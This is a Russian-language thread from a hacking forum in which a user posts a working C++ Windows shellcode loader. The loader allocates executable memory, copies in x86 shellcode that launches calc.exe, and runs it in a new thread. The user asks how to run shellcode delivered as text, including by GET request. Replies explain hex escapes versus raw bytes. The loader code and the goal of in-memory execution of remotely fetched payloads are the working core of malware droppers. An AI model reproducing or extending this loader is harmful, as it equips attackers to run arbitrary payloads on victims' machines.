• XSS.stack #1 – первый литературный журнал от юзеров форума

Приведение типов char[] в const char[]

NEONFACE

RAID-массив
Пользователь
Регистрация
24.03.2019
Сообщения
54
Реакции
24
Решил окунуться в программирование на C++ и сталкнулся с первыми проблемами:
C++:
#include "windows.h"
void main()
{/*
    HANDLE FileHandle;
    DWORD R;
    DWORD Size;
    char Line[781];
    FileHandle = CreateFileA("C:\\Temp\\shellcode.txt", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    Size = GetFileSize(FileHandle, &Size);
    ReadFile(FileHandle, Line, Size, &R, NULL);

   Здесь как я понимаю должно быть какое то приведение типов char Line[781] > const char shellcode[]
   
*/
    //     https://packetstormsecurity.com/files/156478/Windows-x86-Null-Free-WinExec-Calc.exe-Shellcode.html
    const char shellcode[] =
        "\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
        "\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
        "\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
        "\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
        "\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
        "\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
        "\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
        "\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
        "\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
        "\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
        "\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
        "\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
        "\x52\xff\xd0";

    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (shellcode_exec) {
        RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
        DWORD threadID;
        HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
        if (hThread) {
            WaitForSingleObject(hThread, INFINITE);
        }
    }
}
Как запустить полученный извне шелкод?
Мне кажется дело в том что const char = signed char
Код:
   Type        |      range
-------------------------------
signed char    |  -128 to +127
unsigned char  |     0 to 255
 
Ничего не понял. В чем вообще проблема?
Если я задаю шелкод так:
C++:
    const char shellcode[] =
        "\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
        "\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
        "\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
        "\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
        "\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
        "\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
        "\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
        "\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
        "\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
        "\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
        "\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
        "\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
        "\x52\xff\xd0";
То всё работает, если я читаю этот же текст из файла и пытаюсь выполнить то ничего не получается. (код с чтением из файла в комментарии)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Текст после \x компилятор воспринимает, как байты. Т.е, например: \x89 это по факту 0x89. А в текстовом документе у тебя это все считывается, как строка, и это уже не байты, а символы.
\x нужен, чтобы удобно записывать байты в виде строки, а не массивом.
 
Текст после \x компилятор воспринимает, как байты. Т.е, например: \x89 это по факту 0x89. А в текстовом документе у тебя это все считывается, как строка, и это уже не байты, а символы.
\x нужен, чтобы удобно записывать байты в виде строки, а не массивом.
Это я понимаю \x89 (const char []) это один байт но четыре байта в char []
Как выполнить преобразование?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это я понимаю \x89 (const char []) это один байт и 4 char []
Как выполнить преобразование?
Не упирайся так в типы, тут все не так, как в других языках. char это по сути цифра, целое число, номер символа в таблице ASCII. Тебе не нужно выполнять никаких преобразований. Работай не с текстом просто, а с бинарными данными. Сделай WriteFile (shellcode.bin, sizeof(shellcode)), потом считывай его и вызывай. Тогда все будет работать.
 
Тут кстати описывается подобное, но я пока нуб :(
 
Не упирайся так в типы, тут все не так, как в других языках. char это по сути цифра, целое число, номер символа в таблице ASCII. Тебе не нужно выполнять никаких преобразований. Работай не с текстом просто, а с бинарными данными. Сделай WriteFile (shellcode.bin, sizeof(shellcode)), потом считывай его и вызывай. Тогда все будет работать.
Спасибо, попробую так.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Но если кто-то расскажет как преобразовать текст "\x89\xe5\x83\xec..." в бинарь то велком.
Может кто-то тоже задавался этим вопросом.
Я же тебе выше сказал. \x в контексте твоего кода - не символ. Это говорит компилятору, что за ним стоит байт. WriteFile делаешь, получаешь файл shellcode.bin. Далее с хекс редактора достаешь массив байтов, готово.
 
Я же тебе выше сказал. \x в контексте твоего кода - не символ. Это говорит компилятору, что за ним стоит байт. WriteFile делаешь, получаешь файл shellcode.bin. Далее с хекс редактора достаешь массив байтов, готово.
А если я хочу не из файла доставать, а например хочу get запросом забирать и не файл а текст.
Также не хочу создавать доп. файлы и т.п. Мне в целях обучения интересно.

1593177060700.png


Тут ведь как раз то о чем я говорю реализовано, только на стрингах.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А если я хочу не из файла доставать, а например хочу get запросом забирать и не файл а текст.
Также не хочу создавать доп. файлы и т.п. Мне в целях обучения интересно.

Посмотреть вложение 11529

Тут ведь как раз то о чем я говорю реализовано, только на стрингах.
Почитай книгу про основы C/C++, тебе надо понять, чем бинарный вид отличается от такого. Это будет невозможно тебе обьяснить без понимания тобой хоть какого-то базиса.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Открой книгу "Стивен Прата - язык Си", и там где-то первые 2-3 главы прочитай. Потом вернись к этому вопросу. Не надо писать шеллкоды, если нет базовых понятий. Потом могут быть ошибки похуже.
 
Открой книгу "Стивен Прата - язык Си", и там где-то первые 2-3 главы прочитай. Потом вернись к этому вопросу. Не надо писать шеллкоды, если нет базовых понятий. Потом могут быть ошибки похуже.
Проскроль эту страницу, и там первое сообщение прочитай его. Потом вернись и скажи где я пишу шелкоды.
О каких базовых понятиях ты говоришь?

Дано:
Шелкод в HEX написаный не мной, выглядит так:
\x89\xe5\x83\xec... или так 0x89 0xe5 0x83 0xec... или так 89e583ec...
Приходит в программу извне, в текстовом виде.
Вопрос:
Каким образом его можно запустить?

Либо давайте обсуждать, либо не пишите странные вещи и не делайте поспешных выводов.
Как мне обучаться и чем заниматься я думаю что решу сам.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх